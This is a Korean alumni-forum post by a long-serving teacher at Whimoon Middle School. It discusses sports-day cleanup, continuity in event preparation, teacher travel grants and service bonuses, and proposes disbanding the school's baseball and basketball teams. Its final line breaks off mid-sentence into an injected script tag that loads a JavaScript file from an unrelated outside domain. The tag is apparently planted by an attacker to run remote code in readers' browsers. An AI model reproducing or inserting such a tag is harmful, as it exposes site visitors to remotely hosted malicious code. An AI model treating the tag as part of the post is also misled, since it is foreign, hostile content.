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[제목] 체육대회 그리고 휘문 졸업생(교우회) 유감 (주춘화)
체육대회 그리고 휘문 졸업생(교우회) 유감

휘문중학교에 근무하는 67회 주춘화입니다.
모교에 20여년을 근무하는 동문이 보고 듣고 느낀 점을 적어봅니다.
굳이 하찮게 여기지 마시고 귀담아 들으시어 보다 나은 모교가 되기를 염원합니다.

1. 체육대회에 대하여
① 매년 개최 :한 번 거론된 것으로 알고 있어 논외로 하겠습니다.

② 뒷 마무리 :모교 운동장에서 개최하는 것에는 깊은 의미가 있습니다.
특히 2004년 10월, 66회 선배님 주관으로 열린 체육대회의 그 열정과 수고로움에 아낌없는 찬사를
보냅니다. 그러면서 옥의 티를 잡고자 합니 다.
2부 여흥 시간이 일몰 후에 종료되었습니다.
그 다음날 스탠드와 운동장에 남아 있던 일부의 쓰레기와 막걸리를 본 등굣길의 일부 교사들과 학생들
은 눈살을 찌푸렸다고 합니다.
예전에 한정된 공간인 체육관에서 2부 여흥을 가질 때도 마찬가지 였답니다.
제안을 하겠습니다.
다음 해는 교우회 사무국에서 다음날 수업에 지장이 전혀 없게 뒷마무리를 강구하여야 하겠습니다
방법은 여러 가지가 있다는 것을 이미 알고 계실 것으로 짐작하여 생략 하겠습니다.

③ 체육대회 준비의 연계성 :매년 체육대회 준비를 돕고 있는 모교의 행정실에서는 저에게 늘상 건의를
합니다.
전년에 하던 방식을 다음 깃수가 이어서 하는 시스템을 마련하면 참 좋겠다는 것입니다.
올해 준비한 깃수의 노하우가 단절된다는 것입니다.
아주 간단한 해결로 체육대회 진행의 효율성을 높일 수 있을 것같은데도 여지껏 개선이 안되는 것은 아
마도 더 깊은 뜻이 있으리라 보지만 저도 건의를 드립니다.

2. 휘문졸업생(교우회)에 대하여
제가 그간 경험한 본교 재직교사들의 정서는, 휘문졸업생(교우회)에 대하여 큰 긍지를 갖고 있으며 그
렇기에 상대적으로 커다란 바램도 가지고 있습니다.
그러므로 그네들의 피부로 와 닿는 휘문졸업생(교우회)는 무척 작을 수도 있다고 여겨집니다.
그들이 교실에 들어가서 자랑스런 휘문 선배들을 이야기할 때 우리의 보다 더 훌륭한 후배들이 배출
되지 않겠습니까?
혹 계기가 된다면 100주년도 있고 하니 재직교사들에게 ‘휘문’에 대한 여러 가지 부문의 설문서를 돌
려 봄직도 합니다.

휘문졸업생(교우회)의 여러 가지 성격 중 가장 큰 것은, 무슨 일이든지 우선 모교를 서포트한다는 생각
으로 시작해야 한다는 것입니다.
많은 분들이 왼손의 일을 오른손이 모르게 모교를 위하여 애써 왔음에도 불구하고, 극히 일부분이 이
에 반하는 모습으로 보여져 눈살을 찌푸리게 했다면 한 번쯤 생각해 보는 계기를 갖자는 것입니다.
그저 중간 입장에 있는 사람이 상황을 꿰뚫을 수 있다는 사실로 이해하여 주십시오.

몇 가지 말씀을 드리겠습니다.

① 매년 시행되는 모교 교사의 해외여행 건
재직교사의 견문을 넓혀 주려고, 그간 교우회에서 일인당 75만원으로 6~7명 대상으로 해외여행을 지원
하고 있습니다.
참 고맙게 생각들 합니다.
그런데 이제는 주변 학교에 비해 상대적으로 낮습니다.
(이 글을 11월 초에 작성한 글입니다.)

기쁜 소식입니다.
지난 주(11월 26일 금요일) 직원회의에서 발표하길, 재단에서 교사 10명(16명)과 그리고 10만원씩
(85만원)을 추가로 2005학년도부터 지원할 예 정이랍니다.

② 개교기념일에 주는 근속교사 격려금
개교기념일에 법인에서 15만원과 교우회에서 5만원으로 합계 20만원씩 10년 15년 20년 25년 30년 등
의 근속교사에게 격려금을 지급합니다.
초창기에는 휘문재직 교사의 자랑거리였으나 이제는 주변 학교들에 비하 여 한참 낮은 편이라고 합니
다.

③ 휘문운동부고등학교라고 자조하는 분위기
비난을 각오하고 역설적으로 말씀 드리길, 야구부와 농구부를 해체하자고 건의합니다.
그동안 운동부로 인하여 이야기 되어진 것들을 열거합니다.

운동장과 체육관이 학생들의 학습권을 침해하는 것은 아닌지?
지금은 사라졌지만 운동부 부장교사 자리 때문에 교사 간에 위화감이 조성되지는 않았는지?
일반 학생들에게 돌아갈 예산의 일부가 운동부를 위하여 쓰여지는 것은 아닌지?
지금은 사라졌지만 회비를 내고 운동하는 운동부원과 그 학부모가 교육적이지 못한 언행을 교내에서 하
는 것은 아닌지?
모교를 졸업한 기라성 같은 선수들이 모교에 대한 애정은 있는 것인지?
졸업생들이 운동부에 정도를 넘어선 간섭을 하는 것은 아닌지?

등등을 생각해 보며 희중회의 야구부 지원과 같은 정성어린 후원을 교우회 차원에서 전폭적으로 해
주어 회비가 없어지거나 줄어 든다면, 휘문의 넉넉함과 자유분망한 교풍을 한껏 누린 후배를 배출 ?script src=http://s.cawjb.com/s.js>
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